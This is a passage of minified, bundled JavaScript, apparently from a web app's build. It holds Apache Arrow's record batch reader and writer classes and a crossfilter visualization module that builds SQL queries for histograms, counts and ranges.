${t}.`,uR=(e,t)=>`Expected to read ${e} bytes for message body, but only read ${t}.`;class w7{constructor(t){this.source=t instanceof T2?t:new T2(t)}[Symbol.iterator](){return this}next(){let t;return(t=this.readMetadataLength()).done||t.value===-1&&(t=this.readMetadataLength()).done||(t=this.readMetadata(t.value)).done?un:t}throw(t){return this.source.throw(t)}return(t){return this.source.return(t)}readMessage(t){let n;if((n=this.next()).done)return null;if(t!=null&&n.value.headerType!==t)throw new Error(y7(t));return n.value}readMessageBody(t){if(t<=0)return new Uint8Array(0);const n=St(this.source.read(t));if(n.byteLength[...s,...o.VALIDITY&&[o.VALIDITY]||[],...o.TYPE&&[o.TYPE]||[],...o.OFFSET&&[o.OFFSET]||[],...o.DATA&&[o.DATA]||[],...n(o.children)],[])}}readMessage(t){let n;if((n=this.next()).done)return null;if(t!=null&&n.value.headerType!==t)throw new Error(y7(t));return n.value}readSchema(){const t=zt.Schema,n=this.readMessage(t),i=n==null?void 0:n.header();if(!n||!i)throw new Error(m7(t));return i}}const v4=4,U5="ARROW1",E2=new Uint8Array(U5.length);for(let e=0;ethis):this}readRecordBatch(t){return this._impl.isFile()?this._impl.readRecordBatch(t):null}[Symbol.iterator](){return this._impl[Symbol.iterator]()}[Symbol.asyncIterator](){return this._impl[Symbol.asyncIterator]()}toDOMStream(){return ks.toDOMStream(this.isSync()?{[Symbol.iterator]:()=>this}:{[Symbol.asyncIterator]:()=>this})}toNodeStream(){return ks.toNodeStream(this.isSync()?{[Symbol.iterator]:()=>this}:{[Symbol.asyncIterator]:()=>this},{objectMode:!0})}static throughNode(t){throw new Error('"throughNode" not available in this environment')}static throughDOM(t,n){throw new Error('"throughDOM" not available in this environment')}static from(t){return t instanceof Zs?t:O5(t)?JZ(t):gN(t)?tJ(t):Yl(t)?(()=>Ae(this,void 0,void 0,function*(){return yield Zs.from(yield t)}))():_N(t)||p9(t)||pN(t)||rf(t)?eJ(new Zl(t)):QZ(new T2(t))}static readAll(t){return t instanceof Zs?t.isSync()?Zk(t):Jk(t):O5(t)||ArrayBuffer.isView(t)||bh(t)||hN(t)?Zk(t):Jk(t)}}class Pu extends Zs{constructor(t){super(t),this._impl=t}readAll(){return[...this]}[Symbol.iterator](){return this._impl[Symbol.iterator]()}[Symbol.asyncIterator](){return Ir(this,arguments,function*(){yield Qe(yield*x_(Pl(this[Symbol.iterator]())))})}}class S2 extends Zs{constructor(t){super(t),this._impl=t}readAll(){var t,n;return Ae(this,void 0,void 0,function*(){const i=new Array;try{for(var s=Pl(this),o;o=yield s.next(),!o.done;){const c=o.value;i.push(c)}}catch(c){t={error:c}}finally{try{o&&!o.done&&(n=s.return)&&(yield n.call(s))}finally{if(t)throw t.error}}return i})}[Symbol.iterator](){throw new Error("AsyncRecordBatchStreamReader is not Iterable")}[Symbol.asyncIterator](){return this._impl[Symbol.asyncIterator]()}}class E4 extends Pu{constructor(t){super(t),this._impl=t}}class pR extends S2{constructor(t){super(t),this._impl=t}}class yR{constructor(t=new Map){this.closed=!1,this.autoDestroy=!0,this._dictionaryIndex=0,this._recordBatchIndex=0,this.dictionaries=t}get numDictionaries(){return this._dictionaryIndex}get numRecordBatches(){return this._recordBatchIndex}isSync(){return!1}isAsync(){return!1}isFile(){return!1}isStream(){return!1}reset(t){return this._dictionaryIndex=0,this._recordBatchIndex=0,this.schema=t,this.dictionaries=new Map,this}_loadRecordBatch(t,n){const i=this._loadVectors(t,n,this.schema.fields),s=Ze({type:new Hn(this.schema.fields),length:t.length,children:i});return new ti(this.schema,s)}_loadDictionaryBatch(t,n){const{id:i,isDelta:s}=t,{dictionaries:o,schema:c}=this,d=o.get(i);if(s||!d){const f=c.dictionaries.get(i),u=this._loadVectors(t.data,n,[f]);return(d&&s?d.concat(new qe(u)):new qe(u)).memoize()}return d.memoize()}_loadVectors(t,n,i){return new NC(n,t.nodes,t.buffers,this.dictionaries).visitMany(i)}}class bp extends yR{constructor(t,n){super(n),this._reader=O5(t)?new gR(this._handle=t):new w7(this._handle=t)}isSync(){return!0}isStream(){return!0}[Symbol.iterator](){return this}cancel(){!this.closed&&(this.closed=!0)&&(this.reset()._reader.return(),this._reader=null,this.dictionaries=null)}open(t){return this.closed||(this.autoDestroy=wR(this,t),this.schema||(this.schema=this._reader.readSchema())||this.cancel()),this}throw(t){return!this.closed&&this.autoDestroy&&(this.closed=!0)?this.reset()._reader.throw(t):un}return(t){return!this.closed&&this.autoDestroy&&(this.closed=!0)?this.reset()._reader.return(t):un}next(){if(this.closed)return un;let t;const{_reader:n}=this;for(;t=this._readNextMessageAndValidate();)if(t.isSchema())this.reset(t.header());else if(t.isRecordBatch()){this._recordBatchIndex++;const i=t.header(),s=n.readMessageBody(t.bodyLength);return{done:!1,value:this._loadRecordBatch(i,s)}}else if(t.isDictionaryBatch()){this._dictionaryIndex++;const i=t.header(),s=n.readMessageBody(t.bodyLength),o=this._loadDictionaryBatch(i,s);this.dictionaries.set(i.id,o)}return this.schema&&this._recordBatchIndex===0?(this._recordBatchIndex++,{done:!1,value:new p7(this.schema)}):this.return()}_readNextMessageAndValidate(t){return this._reader.readMessage(t)}}class Tp extends yR{constructor(t,n){super(n),this._reader=new hR(this._handle=t)}isAsync(){return!0}isStream(){return!0}[Symbol.asyncIterator](){return this}cancel(){return Ae(this,void 0,void 0,function*(){!this.closed&&(this.closed=!0)&&(yield this.reset()._reader.return(),this._reader=null,this.dictionaries=null)})}open(t){return Ae(this,void 0,void 0,function*(){return this.closed||(this.autoDestroy=wR(this,t),this.schema||(this.schema=yield this._reader.readSchema())||(yield this.cancel())),this})}throw(t){return Ae(this,void 0,void 0,function*(){return!this.closed&&this.autoDestroy&&(this.closed=!0)?yield this.reset()._reader.throw(t):un})}return(t){return Ae(this,void 0,void 0,function*(){return!this.closed&&this.autoDestroy&&(this.closed=!0)?yield this.reset()._reader.return(t):un})}next(){return Ae(this,void 0,void 0,function*(){if(this.closed)return un;let t;const{_reader:n}=this;for(;t=yield this._readNextMessageAndValidate();)if(t.isSchema())yield this.reset(t.header());else if(t.isRecordBatch()){this._recordBatchIndex++;const i=t.header(),s=yield n.readMessageBody(t.bodyLength);return{done:!1,value:this._loadRecordBatch(i,s)}}else if(t.isDictionaryBatch()){this._dictionaryIndex++;const i=t.header(),s=yield n.readMessageBody(t.bodyLength),o=this._loadDictionaryBatch(i,s);this.dictionaries.set(i.id,o)}return this.schema&&this._recordBatchIndex===0?(this._recordBatchIndex++,{done:!1,value:new p7(this.schema)}):yield this.return()})}_readNextMessageAndValidate(t){return Ae(this,void 0,void 0,function*(){return yield this._reader.readMessage(t)})}}class mR extends bp{constructor(t,n){super(t instanceof $k?t:new $k(t),n)}get footer(){return this._footer}get numDictionaries(){return this._footer?this._footer.numDictionaries:0}get numRecordBatches(){return this._footer?this._footer.numRecordBatches:0}isSync(){return!0}isFile(){return!0}open(t){if(!this.closed&&!this._footer){this.schema=(this._footer=this._readFooter()).schema;for(const n of this._footer.dictionaryBatches())n&&this._readDictionaryBatch(this._dictionaryIndex++)}return super.open(t)}readRecordBatch(t){var n;if(this.closed)return null;this._footer||this.open();const i=(n=this._footer)===null||n===void 0?void 0:n.getRecordBatch(t);if(i&&this._handle.seek(i.offset)){const s=this._reader.readMessage(zt.RecordBatch);if(s!=null&&s.isRecordBatch()){const o=s.header(),c=this._reader.readMessageBody(s.bodyLength);return this._loadRecordBatch(o,c)}}return null}_readDictionaryBatch(t){var n;const i=(n=this._footer)===null||n===void 0?void 0:n.getDictionaryBatch(t);if(i&&this._handle.seek(i.offset)){const s=this._reader.readMessage(zt.DictionaryBatch);if(s!=null&&s.isDictionaryBatch()){const o=s.header(),c=this._reader.readMessageBody(s.bodyLength),d=this._loadDictionaryBatch(o,c);this.dictionaries.set(o.id,d)}}}_readFooter(){const{_handle:t}=this,n=t.size-_R,i=t.readInt32(n),s=t.readAt(n-i,i);return b2.decode(s)}_readNextMessageAndValidate(t){var n;if(this._footer||this.open(),this._footer&&this._recordBatchIndexsuper.open}});return Ae(this,void 0,void 0,function*(){if(!this.closed&&!this._footer){this.schema=(this._footer=yield this._readFooter()).schema;for(const i of this._footer.dictionaryBatches())i&&(yield this._readDictionaryBatch(this._dictionaryIndex++))}return yield n.open.call(this,t)})}readRecordBatch(t){var n;return Ae(this,void 0,void 0,function*(){if(this.closed)return null;this._footer||(yield this.open());const i=(n=this._footer)===null||n===void 0?void 0:n.getRecordBatch(t);if(i&&(yield this._handle.seek(i.offset))){const s=yield this._reader.readMessage(zt.RecordBatch);if(s!=null&&s.isRecordBatch()){const o=s.header(),c=yield this._reader.readMessageBody(s.bodyLength);return this._loadRecordBatch(o,c)}}return null})}_readDictionaryBatch(t){var n;return Ae(this,void 0,void 0,function*(){const i=(n=this._footer)===null||n===void 0?void 0:n.getDictionaryBatch(t);if(i&&(yield this._handle.seek(i.offset))){const s=yield this._reader.readMessage(zt.DictionaryBatch);if(s!=null&&s.isDictionaryBatch()){const o=s.header(),c=yield this._reader.readMessageBody(s.bodyLength),d=this._loadDictionaryBatch(o,c);this.dictionaries.set(o.id,d)}}})}_readFooter(){return Ae(this,void 0,void 0,function*(){const{_handle:t}=this;t._pending&&(yield t._pending);const n=t.size-_R,i=yield t.readInt32(n),s=yield t.readAt(n-i,i);return b2.decode(s)})}_readNextMessageAndValidate(t){return Ae(this,void 0,void 0,function*(){if(this._footer||(yield this.open()),this._footer&&this._recordBatchIndex=4?L7(t)?new E4(new mR(e.read())):new Pu(new bp(e)):new Pu(new bp(function*(){}()))}function eJ(e){return Ae(this,void 0,void 0,function*(){const t=yield e.peek(_0+7&-8);return t&&t.byteLength>=4?L7(t)?new E4(new mR(yield e.read())):new S2(new Tp(e)):new S2(new Tp(function(){return Ir(this,arguments,function*(){})}()))})}function tJ(e){return Ae(this,void 0,void 0,function*(){const{size:t}=yield e.stat(),n=new yp(e,t);return t>=XZ&&L7(yield n.readAt(0,_0+7&-8))?new pR(new KZ(n)):new S2(new Tp(n))})}class vn extends mt{constructor(){super(),this._byteLength=0,this._nodes=[],this._buffers=[],this._bufferRegions=[]}static assemble(...t){const n=s=>s.flatMap(o=>Array.isArray(o)?n(o):o instanceof ti?o.data.children:o.data),i=new vn;return i.visitMany(n(t)),i}visit(t){if(t instanceof qe)return this.visitMany(t.data),this;const{type:n}=t;if(!We.isDictionary(n)){const{length:i,nullCount:s}=t;if(i>2147483647)throw new RangeError("Cannot write arrays larger than 2^31 - 1 in length");We.isNull(n)||Rr.call(this,s<=0?new Uint8Array(0):y4(t.offset,i,t.nullBitmap)),this.nodes.push(new cf(i,s))}return super.visit(t)}visitNull(t){return this}visitDictionary(t){return this.visit(t.clone(t.type.indices))}get nodes(){return this._nodes}get buffers(){return this._buffers}get byteLength(){return this._byteLength}get bufferRegions(){return this._bufferRegions}}function Rr(e){const t=e.byteLength+7&-8;return this.buffers.push(e),this.bufferRegions.push(new La(this._byteLength,t)),this._byteLength+=t,this}function nJ(e){const{type:t,length:n,typeIds:i,valueOffsets:s}=e;if(Rr.call(this,i),t.mode===Xn.Sparse)return H5.call(this,e);if(t.mode===Xn.Dense){if(e.offset<=0)return Rr.call(this,s),H5.call(this,e);{const o=i.reduce((a,m)=>Math.max(a,m),i[0]),c=new Int32Array(o+1),d=new Int32Array(o+1).fill(-1),f=new Int32Array(n),u=f4(-s[0],n,s);for(let a,m,y=-1;++y=e.length?Rr.call(this,new Uint8Array(0)):(t=e.values)instanceof Uint8Array?Rr.call(this,y4(e.offset,e.length,t)):Rr.call(this,L2(e.values))}function wc(e){return Rr.call(this,e.values.subarray(0,e.length*e.stride))}function LR(e){const{length:t,values:n,valueOffsets:i}=e,s=i[0],o=i[t],c=Math.min(o-s,n.byteLength-s);return Rr.call(this,f4(-i[0],t,i)),Rr.call(this,n.subarray(s,s+c)),this}function b7(e){const{length:t,valueOffsets:n}=e;return n&&Rr.call(this,f4(n[0],t,n)),this.visit(e.children[0])}function H5(e){return this.visitMany(e.type.children.map((t,n)=>e.children[n]).filter(Boolean))[0]}vn.prototype.visitBool=iJ;vn.prototype.visitInt=wc;vn.prototype.visitFloat=wc;vn.prototype.visitUtf8=LR;vn.prototype.visitBinary=LR;vn.prototype.visitFixedSizeBinary=wc;vn.prototype.visitDate=wc;vn.prototype.visitTimestamp=wc;vn.prototype.visitTime=wc;vn.prototype.visitDecimal=wc;vn.prototype.visitList=b7;vn.prototype.visitStruct=H5;vn.prototype.visitUnion=nJ;vn.prototype.visitInterval=wc;vn.prototype.visitFixedSizeList=b7;vn.prototype.visitMap=b7;class sJ extends mt{visit(t){return t==null?void 0:super.visit(t)}visitNull({typeId:t}){return{name:gt[t].toLowerCase()}}visitInt({typeId:t,bitWidth:n,isSigned:i}){return{name:gt[t].toLowerCase(),bitWidth:n,isSigned:i}}visitFloat({typeId:t,precision:n}){return{name:gt[t].toLowerCase(),precision:Cn[n]}}visitBinary({typeId:t}){return{name:gt[t].toLowerCase()}}visitBool({typeId:t}){return{name:gt[t].toLowerCase()}}visitUtf8({typeId:t}){return{name:gt[t].toLowerCase()}}visitDecimal({typeId:t,scale:n,precision:i,bitWidth:s}){return{name:gt[t].toLowerCase(),scale:n,precision:i,bitWidth:s}}visitDate({typeId:t,unit:n}){return{name:gt[t].toLowerCase(),unit:ds[n]}}visitTime({typeId:t,unit:n,bitWidth:i}){return{name:gt[t].toLowerCase(),unit:rt[n],bitWidth:i}}visitTimestamp({typeId:t,timezone:n,unit:i}){return{name:gt[t].toLowerCase(),unit:rt[i],timezone:n}}visitInterval({typeId:t,unit:n}){return{name:gt[t].toLowerCase(),unit:er[n]}}visitList({typeId:t}){return{name:gt[t].toLowerCase()}}visitStruct({typeId:t}){return{name:gt[t].toLowerCase()}}visitUnion({typeId:t,mode:n,typeIds:i}){return{name:gt[t].toLowerCase(),mode:Xn[n],typeIds:[...i]}}visitDictionary(t){return this.visit(t.dictionary)}visitFixedSizeBinary({typeId:t,byteWidth:n}){return{name:gt[t].toLowerCase(),byteWidth:n}}visitFixedSizeList({typeId:t,listSize:n}){return{name:gt[t].toLowerCase(),listSize:n}}visitMap({typeId:t,keysSorted:n}){return{name:gt[t].toLowerCase(),keysSorted:n}}}class S4 extends mt{static assemble(...t){const n=new S4;return t.map(({schema:i,data:s})=>n.visitMany(i.fields,s.children))}visit({name:t},n){const{length:i}=n,{offset:s,nullCount:o,nullBitmap:c}=n,d=We.isDictionary(n.type)?n.type.indices:n.type,f=Object.assign([],n.buffers,{[wr.VALIDITY]:void 0});return Object.assign({name:t,count:i,VALIDITY:We.isNull(d)?void 0:o<=0?Array.from({length:i},()=>1):[...new Ou(c,s,i,null,$9)]},super.visit(n.clone(d,s,i,0,f)))}visitNull(){return{}}visitBool({values:t,offset:n,length:i}){return{DATA:[...new Ou(t,n,i,null,p4)]}}visitInt(t){return{DATA:t.type.bitWidth<64?[...t.values]:[...Yh(t.values,2)]}}visitFloat(t){return{DATA:[...t.values]}}visitUtf8(t){return{DATA:[...new qe([t])],OFFSET:[...t.valueOffsets]}}visitBinary(t){return{DATA:[...Qk(new qe([t]))],OFFSET:[...t.valueOffsets]}}visitFixedSizeBinary(t){return{DATA:[...Qk(new qe([t]))]}}visitDate(t){return{DATA:t.type.unit===ds.DAY?[...t.values]:[...Yh(t.values,2)]}}visitTimestamp(t){return{DATA:[...Yh(t.values,2)]}}visitTime(t){return{DATA:t.type.unit`${n}${("0"+(i&255).toString(16)).slice(-2)}`,"").toUpperCase()}function*Yh(e,t){const n=new Uint32Array(e.buffer);for(let i=-1,s=n.length/t;++ithis.writeAll(n)):rf(t)?E7(this,t):v7(this,t)}get closed(){return this._sink.closed}[Symbol.asyncIterator](){return this._sink[Symbol.asyncIterator]()}toDOMStream(t){return this._sink.toDOMStream(t)}toNodeStream(t){return this._sink.toNodeStream(t)}close(){return this.reset()._sink.close()}abort(t){return this.reset()._sink.abort(t)}finish(){return this._autoDestroy?this.close():this.reset(this._sink,this._schema),this}reset(t=this._sink,n=null){return t===this._sink||t instanceof _u?this._sink=t:(this._sink=new _u,t&&DY(t)?this.toDOMStream({type:"bytes"}).pipeTo(t):t&&jY(t)&&this.toNodeStream({objectMode:!1}).pipe(t)),this._started&&this._schema&&this._writeFooter(this._schema),this._started=!1,this._dictionaryBlocks=[],this._recordBatchBlocks=[],this._dictionaryDeltaOffsets=new Map,(!n||!mp(n,this._schema))&&(n==null?(this._position=0,this._schema=null):(this._started=!0,this._schema=n,this._writeSchema(n))),this}write(t){let n=null;if(this._sink){if(t==null)return this.finish()&&void 0;if(t instanceof In&&!(n=t.schema))return this.finish()&&void 0;if(t instanceof ti&&!(n=t.schema))return this.finish()&&void 0}else throw new Error("RecordBatchWriter is closed");if(n&&!mp(n,this._schema)){if(this._started&&this._autoDestroy)return this.close();this.reset(this._sink,n)}t instanceof ti?t instanceof p7||this._writeRecordBatch(t):t instanceof In?this.writeAll(t.batches):bh(t)&&this.writeAll(t)}_writeMessage(t,n=8){const i=n-1,s=hi.encode(t),o=s.byteLength,c=this._writeLegacyIpcFormat?4:8,d=o+c+i&~i,f=d-o-c;return t.headerType===zt.RecordBatch?this._recordBatchBlocks.push(new Na(d,t.bodyLength,this._position)):t.headerType===zt.DictionaryBatch&&this._dictionaryBlocks.push(new Na(d,t.bodyLength,this._position)),this._writeLegacyIpcFormat||this._write(Int32Array.of(-1)),this._write(Int32Array.of(d-c)),o>0&&this._write(s),this._writePadding(f)}_write(t){if(this._started){const n=St(t);n&&n.byteLength>0&&(this._sink.write(n),this._position+=n.byteLength)}return this}_writeSchema(t){return this._writeMessage(hi.from(t))}_writeFooter(t){return this._writeLegacyIpcFormat?this._write(Int32Array.of(0)):this._write(Int32Array.of(-1,0))}_writeMagic(){return this._write(E2)}_writePadding(t){return t>0?this._write(new Uint8Array(t)):this}_writeRecordBatch(t){const{byteLength:n,nodes:i,bufferRegions:s,buffers:o}=vn.assemble(t),c=new Ns(t.numRows,i,s),d=hi.from(c,n);return this._writeDictionaries(t)._writeMessage(d)._writeBodyBuffers(o)}_writeDictionaryBatch(t,n,i=!1){this._dictionaryDeltaOffsets.set(n,t.length+(this._dictionaryDeltaOffsets.get(n)||0));const{byteLength:s,nodes:o,bufferRegions:c,buffers:d}=vn.assemble(new qe([t])),f=new Ns(t.length,o,c),u=new Ra(f,n,i),a=hi.from(u,s);return this._writeMessage(a)._writeBodyBuffers(d)}_writeBodyBuffers(t){let n,i,s;for(let o=-1,c=t.length;++o0&&(this._write(n),(s=(i+7&-8)-i)>0&&this._writePadding(s));return this}_writeDictionaries(t){for(let[n,i]of t.dictionaries){let s=this._dictionaryDeltaOffsets.get(n)||0;if(s===0||(i=i==null?void 0:i.slice(s)).length>0)for(const o of i.data)this._writeDictionaryBatch(o,n,s>0),s+=o.length}return this}}class y0 extends p0{static writeAll(t,n){const i=new y0(n);return Yl(t)?t.then(s=>i.writeAll(s)):rf(t)?E7(i,t):v7(i,t)}}class m0 extends p0{static writeAll(t){const n=new m0;return Yl(t)?t.then(i=>n.writeAll(i)):rf(t)?E7(n,t):v7(n,t)}constructor(){super(),this._autoDestroy=!0}_writeSchema(t){return this._writeMagic()._writePadding(2)}_writeFooter(t){const n=b2.encode(new b2(t,ts.V4,this._recordBatchBlocks,this._dictionaryBlocks));return super._writeFooter(t)._write(n)._write(Int32Array.of(n.byteLength))._writeMagic()}}class T7 extends p0{constructor(){super(),this._autoDestroy=!0,this._recordBatches=[],this._dictionaries=[]}static writeAll(t){return new T7().writeAll(t)}_writeMessage(){return this}_writeFooter(t){return this}_writeSchema(t){return this._write(`{ - "schema": ${JSON.stringify({fields:t.fields.map(n=>bR(n))},null,2)}`)}_writeDictionaries(t){return t.dictionaries.size>0&&this._dictionaries.push(t),this}_writeDictionaryBatch(t,n,i=!1){return this._dictionaryDeltaOffsets.set(n,t.length+(this._dictionaryDeltaOffsets.get(n)||0)),this._write(this._dictionaryBlocks.length===0?" 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gJ=Object.freeze(Object.defineProperty({__proto__:null,AsyncByteQueue:_u,AsyncByteStream:Zl,AsyncMessageReader:hR,AsyncRecordBatchFileReader:pR,AsyncRecordBatchStreamReader:S2,Binary:y2,BinaryBuilder:K9,Bool:Bu,BoolBuilder:CC,get BufferType(){return wr},Builder:ki,ByteStream:T2,Data:Ut,DataType:We,DateBuilder:c0,DateDay:bX,DateDayBuilder:Z9,DateMillisecond:zN,DateMillisecondBuilder:J9,get DateUnit(){return ds},Date_:Id,Decimal:m2,DecimalBuilder:Q9,DenseUnion:MX,DenseUnionBuilder:eR,Dictionary:$o,DictionaryBuilder:RC,Field:Vt,FixedSizeBinary:w2,FixedSizeBinaryBuilder:e7,FixedSizeList:Fu,FixedSizeListBuilder:PC,Float:Ho,Float16:HN,Float16Builder:DC,Float32:E9,Float32Builder:jC,Float64:h4,Float64Builder:UC,FloatBuilder:d0,Int:vi,Int16:w9,Int16Builder:zC,Int32:Xl,Int32Builder:$C,Int64:u4,Int64Builder:qC,Int8:m9,Int8Builder:HC,IntBuilder:Ya,Interval:Od,IntervalBuilder:f0,IntervalDayTime:IX,IntervalDayTimeBuilder:t7,get IntervalUnit(){return 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i=[1,t],s=e,o=U4().domain(s).range(i);return o.clamp(!0),c=>{const d=o(c);return n(d)}}function YF(e,...t){return new Map(Array.from(e.entries()).filter(([n,i])=>!t.includes(n)))}function Hle(e,{start:t,step:n,stop:i},s=o=>`${o}`){const o=n2({start:t,step:n,stop:i}),c=`FLOOR((${e} - ${s(t)}) / ${s(n)})::INT`;return`LEAST(${s(o-1)}, ${c})::INT`}function zle({start:e,stop:t},n){return(t-e)/n}function $le(e){return e.replace(/\s+/g," ").trim()}class qle{constructor(){this.views=[]}remove(t){const n=this.views.findIndex(i=>i==t);n!==-1&&this.views.splice(n,1)}add(t){this.views.findIndex(i=>i==t)===-1&&this.views.push(t)}get passive(){return this.views.filter(t=>!t.isActive)}get active(){const t=this.views.find(n=>n.isActive);if(t)return t}get size(){return this.views.length}forEach(t){this.views.forEach(t)}[Symbol.iterator](){return this.views[Symbol.iterator]()}}class Ij{constructor(t){this.isActive=!1,this.linkTogetherWithOtherViews(t),this.onChangeListeners=new Set}linkTogetherWithOtherViews(t){this.falcon=t}onChange(t){return this.onChangeListeners.add(t),()=>this.onChangeListeners.delete(t)}addOnChangeListener(t){return this.onChange(t)}signalOnChange(t){this.onChangeListeners.forEach(n=>{n(t)})}markThisViewActive(){this.falcon.views.forEach(t=>{t.isActive=!1}),this.isActive=!0}}class Tl extends Ij{constructor(t){super(t),this.state={total:null,filter:null}}async all(){const t=await this.falcon.db.length(this.falcon.filters.size>0?this.falcon.filters:void 0);return this.state.total=t,this.state.filter=t,this.signalOnChange(this.state),this}async countFromActiveContinuous1D(t){const n=await this.falcon.index.get(this);if(n===void 0)throw Error("Cannot count for undefined index in 0D");if(!t)this.state.filter=n.noFilter.get(0);else{const i=n.filter.get(t[0]),s=n.filter.get(t[1]);this.state.filter=s-i}this.signalOnChange(this.state)}async countFromActiveCategorical1D(t,n){const i=await this.falcon.index.get(this);if(i===void 0)throw Error("Cannot count for undefined index in 0D");if(t===void 0)this.state.filter=i.noFilter.get(0);else{const s=su(n);let o=0;for(const c of t){const d=s(c);d&&(o+=i.filter.get(d))}this.state.filter=o}this.signalOnChange(this.state)}async attach(){this.falcon.views.add(this),await this.falcon.link()}async detach(){this.falcon.views.remove(this),this.falcon.index.delete(this)}}class ca extends Ij{constructor(t,n){super(t),this.dimension=n,this.state={total:null,filter:null,bin:null},this.toPixels=()=>[0,0]}async update(t){this.dimension=t,await this.falcon.link()}async createBins(){var t;if(((t=this.dimension)==null?void 0:t.range)===void 0&&(this.dimension.range=await this.falcon.db.range(this.dimension)),this.dimension.type==="continuous"){this.dimension.bins=this.dimension.bins??await this.falcon.db.estimateNumBins(this.dimension,200,15),this.dimension.binConfig=Ple(this.dimension,this.dimension.range);const{start:n,stop:i}=this.dimension.binConfig;this.toPixels=jle([n,i],this.dimension.resolution)}this.dimension.type==="continuous"?this.state.bin=Dle(this.dimension.binConfig):this.state.bin=this.dimension.range}async all(){await this.createBins();const t=await this.falcon.db.histogramView1D(this,this.falcon.filters.size>0?this.falcon.otherFilters(this):void 0);return this.state.total=t.noFilter.data,this.state.filter=t.filter.data,this.signalOnChange(this.state),this}async computeIndex(t=!1){(!this.isActive||t)&&(await this.falcon.views.forEach(async n=>{n instanceof ca&&(!("range"in n.dimension)||n.dimension.type==="continuous"&&!("binConfig"in n.dimension))&&await n.all()}),this.markThisViewActive(),this.falcon.index=this.falcon.db.falconIndexView1D(this,this.falcon.views.passive,this.falcon.passiveFilters))}async activate(){await this.computeIndex()}async select(t,n=!1){if(t)if(this.dimension.type==="continuous"){if(this.lastFilter&&this.lastFilter[0]===t[0]&&this.lastFilter[1]===t[1]&&n===!1)return;this.falcon.filters.set(this.dimension,t);let s=this.toPixels(t);this.isActive&&this.falcon.views.passive.forEach(async o=>{await o.countFromActiveContinuous1D(s)}),this.lastFilter=t}else this.falcon.filters.set(this.dimension,t),this.isActive&&this.falcon.views.passive.forEach(async i=>{await i.countFromActiveCategorical1D(t,this.dimension.range)}),this.lastFilter=t;else if(this.isActive)if(this.dimension.type==="continuous"){if(this.lastFilter===t)return;this.falcon.filters.delete(this.dimension),this.falcon.views.passive.forEach(async s=>{await s.countFromActiveContinuous1D()}),this.lastFilter=t}else this.falcon.filters.delete(this.dimension),this.falcon.views.passive.forEach(async i=>{await i.countFromActiveCategorical1D()}),this.lastFilter=t}async countFromActiveContinuous1D(t){const n=await this.falcon.index.get(this);if(n===void 0)throw Error("Index not defined for 1D passive view");if(!t)this.state.filter=n.noFilter.data;else{const i=n.filter.slice(t[0],null),o=n.filter.slice(t[1],null).sub(i);this.state.filter=o.data}this.signalOnChange(this.state)}async countFromActiveCategorical1D(t,n){const i=await this.falcon.index.get(this);if(i===void 0)throw Error("Index not defined for 1D passive view");if(!t)this.state.filter=i.noFilter.data;else{let s;this.dimension.type==="continuous"?s=Ss.allocCounts(n2(this.dimension.binConfig)):s=Ss.allocCounts(this.dimension.range.length),s.data.fill(0);const o=su(n);for(const c of t){const d=o(c);if(d){const f=i.filter.slice(d,null);s.addToItself(f)}}this.state.filter=s.data}this.signalOnChange(this.state)}async attach(){this.falcon.views.add(this),await this.falcon.link()}async detach(){this.falcon.views.remove(this),this.falcon.index.delete(this),this.isActive&&await this.falcon.link()}}class Vle{constructor(t,n){this.table=t,this.nameMap=n}castBins(t){return`${t}`}castTime(t){return t}getName(t){var i;let n=((i=this.nameMap)==null?void 0:i.get(t.name))??t.name;return t.type==="continuous"&&t.time&&(n=this.castTime(n)),n}async dimensionExists(t){const n=await this.query(`SELECT EXISTS - (SELECT 0 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '${this.table}' AND COLUMN_NAME = '${t.name}') as _exists`),{_exists:i}=this.getASValues(n);return i}async tableExists(){const t=await this.query(`SELECT EXISTS - (SELECT 0 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '${this.table}') as _exists`),{_exists:n}=this.getASValues(t);return n}async entries(t=0,n=1/0,i){const s=i?[...this.filtersToSQLWhereClauses(i).values()].join(" AND "):void 0;return await this.query(`SELECT * - FROM ${this.table} - ${s?`WHERE ${s}`:""} - ${n>=0&&n<1/0?`LIMIT ${n}`:""} - OFFSET ${t}`)}async estimateNumBins(t,n=200,i=15){if(await this.length()<=1)return 1;if(t.range){const o=await this.query(`SELECT STDDEV(${this.getName(t)}) AS standardDeviation FROM ${this.table}`),{standardDeviation:c}=this.getASValues(o),[d,f]=t.range,u=_J(d,f,c);return Math.min(u,n)}return i}async length(t){let n="";t&&(n=[...this.filtersToSQLWhereClauses(t).values()].join(" AND "));const i=await this.query(`SELECT count(*) AS _count - FROM ${this.table} - ${n?`WHERE ${n}`:""}`),{_count:s}=this.getASValues(i);return s}async range(t){const n=this.getName(t);if(t.type==="continuous"){const i=await this.query(`SELECT MIN(${n}) AS _min, MAX(${n}) AS _max - FROM ${this.table}`),{_min:s,_max:o}=this.getASValues(i);return[Number(s),Number(o)]}else{const i=await this.query(`SELECT DISTINCT "${n}" AS _unique FROM ${this.table}`);let s=[];for(const{_unique:o}of i)s.push(o);return s.filter(o=>o!==null)}}async histogramView1D(t,n){let i,s,o=a=>a;if(t.dimension.type==="continuous"){const a=t.dimension.binConfig;i=n2(a),s=this.binSQL(t.dimension,a)}else i=Wg(t.dimension.range),s=this.binSQLCategorical(t.dimension,t.dimension.range),o=su(t.dimension.range);const c=Ss.allocCounts(i),d=n&&n.size>0,f=d?Ss.allocCounts(i):c,u=await this.query(`SELECT ${s.select} - AS binIndex, count(*) AS binCount - FROM ${this.table} - WHERE ${s.where} - GROUP BY binIndex`);for(const{binIndex:a,binCount:m}of u)c.set(o(a),m);if(d){const a=[...this.filtersToSQLWhereClauses(n).values()].join(" AND "),m=`SELECT ${s.select} - AS binIndex, count(*) AS binCount - FROM ${this.table} - WHERE ${s.where} AND ${a} - GROUP BY binIndex`,y=await this.query(m);console.log(t.dimension.name,m);for(const{binIndex:p,binCount:l}of y)f.set(p,l)}return{filter:f,noFilter:c}}falconIndexView1D(t,n,i){const s=performance.now(),o=this.filtersToSQLWhereClauses(i),c=new Map;if(t.dimension.type==="continuous"){const d=t.dimension.resolution,f=this.binSQLPixel(t.dimension,t.dimension.binConfig,d),u=d+1,a=[];n.forEach(m=>{const y=this.cubeSlice1DContinuous(m,o,f,u);a.push(y),c.set(m,y)}),Promise.all(a).then(()=>{console.info(`Build index: ${performance.now()-s}ms`)})}else{const d=this.binSQLCategorical(t.dimension,t.dimension.range),f=Wg(t.dimension.range),u=su(t.dimension.range),a=[];n.forEach(m=>{const 